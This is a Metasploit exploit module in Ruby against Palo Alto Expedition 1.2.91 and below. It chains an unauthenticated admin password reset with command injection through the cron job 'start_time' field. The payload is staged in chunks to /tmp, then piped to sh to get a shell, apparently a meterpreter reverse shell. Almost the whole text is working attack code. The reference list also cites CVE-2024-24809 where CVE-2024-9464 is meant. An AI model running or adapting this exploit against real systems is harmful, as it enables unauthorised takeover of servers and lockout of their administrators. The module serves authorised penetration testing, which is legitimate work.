Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)

class MetasploitModule < Msf::Exploit::Remote

  class XsrfExceptionError < StandardError; end
  class XsrfExceptionUnreachableError < XsrfExceptionError; end

  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)',
        'Description' => %q{
          Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.
          The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.
          When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF Module
          'Zach Hanley', # Discovery CVE-2024-9464 and PoC
          'Enrique Castillo', # Discovery CVE-2024-9464
          'Brian Hysell' # Discovery CVE-2024-5910
        ],
        'References' => [
          [ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'],
          [ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'],
          [ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'],
          ['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'],
          ['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'],
          [ 'CVE', '2024-5910'],
          [ 'CVE', '2024-24809']
        ],
        'DisclosureDate' => '2024-10-09',
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3),
          'FETCH_WRITABLE_DIR' => '/tmp'
        },
        'Payload' => {
          # the vulnerability allows the characters " and \
          # but the stager in this module does not
          'BadChars' => "\x22\x3a\x3b\x5c" # ":;\
        },
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => %w[unix linux]
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],

        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']),
        OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']),
        OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']),
        OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]),
        OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]),
      ]
    )
  end

  def xsrf_token_value
    user = @username || datastore['USERNAME']
    password = @password || datastore['PASSWORD']

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'),
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'action' => 'get',
        'type' => 'login_users',
        'user' => user,
        'password' => password
      }
    )

    raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res

    data = res.get_json_document

    raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken']

    print_good('Successfully authenticated')

    csrftoken = data['csrfToken']
    raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken

    vprint_status("Got csrftoken: #{csrftoken}")
    csrftoken
  end

  def check
    unless datastore['USERNAME'] && datastore['PASSWORD']
      unless datastore['RESET_ADMIN_PASSWD']
        print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.')
        return CheckCode::Unknown('Could not determine the target status')
      end

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
      )

      return CheckCode::Unknown('Failed to receive a reply from the server.') unless res

      if res.code == 403
        return CheckCode::Safe('The target is not vulnerable')
      end

      return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')

      respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓	Admin password restored to:    'paloalto'
      print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
      @password = respass
      @username = 'admin'
      @reset = true
    end

    begin
      @xsrf_token_value = xsrf_token_value
    rescue XsrfException::Error
      return CheckCode::Safe('The target is not vulnerable')
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'),
      'keep_cookies' => true,
      'headers' => {
        'Csrftoken' => @xsrf_token_value
      }
    )

    data = res.get_json_document
    version = data.dig('msg', 'Expedition')

    if version.nil?
      return CheckCode::Unknown('Could not determine the target status')
    end

    print_status('Version retrieved: ' + version)

    if Rex::Version.new(version) > Rex::Version.new('1.2.91')
      return CheckCode::Safe("Version #{version} is not vulnerable")
    end

    return CheckCode::Appears("Version #{version} appears to be vulnerable")
  end

  def execute_command(cmd, check_res)
    name = Rex::Text.rand_text_alpha(4..8)
    vprint_status("Running command: #{cmd}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
      'keep_cookies' => true,
      'headers' => {
        'Csrftoken' => @xsrf_token_value
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'action' => 'set',
        'type' => 'cron_jobs',
        'project' => 'pandb',
        'name' => name,
        'cron_id' => 1,
        'recurrence' => 'Daily',
        'start_time' => "\";#{cmd} #"
      }
    )
    if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason?
      fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}")
    end
  end

  def exploit
    cmd = payload.encoded
    chunk_size = rand(25..35)
    vprint_status("Command chunk size = #{chunk_size}")
    cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
    staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/')

    if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD'])
      unless datastore['RESET_ADMIN_PASSWD']
        fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..')
      end

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
      )

      fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res
      fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')

      respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓	Admin password restored to:    'paloalto'
      print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
      @password = respass
      @username = 'admin'
    end

    begin
      @xsrf_token_value = xsrf_token_value
    rescue XsrfException::Error
      return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.')
    end

    print_status('Adding a new cronjob...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
      'keep_cookies' => true,
      'headers' => {
        'Csrftoken' => @xsrf_token_value
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'action' => 'add',
        'type' => 'new_cronjob',
        'project' => 'pandb'
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    data = res.get_json_document
    fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true

    # Stage the command to a file
    redirector = '>'
    chunk_counter = 0
    cmd_chunks.each do |chunk|
      chunk_counter += 1
      vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}")
      write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}"
      execute_command(write_chunk, true)
      redirector = '>>'
      sleep 1
    end

    # Once we launch the payload, we don't seem to be able to execute another command,
    # even if we try to background the command, so we need to execute and delete in
    # the same command.

    print_good('Command staged; command execution requires a timeout and will take a few seconds.')
    execute_command("cat #{staging_file} | sh && rm #{staging_file}", false)
    sleep 3

    print_status('Check thy shell.')
  end
end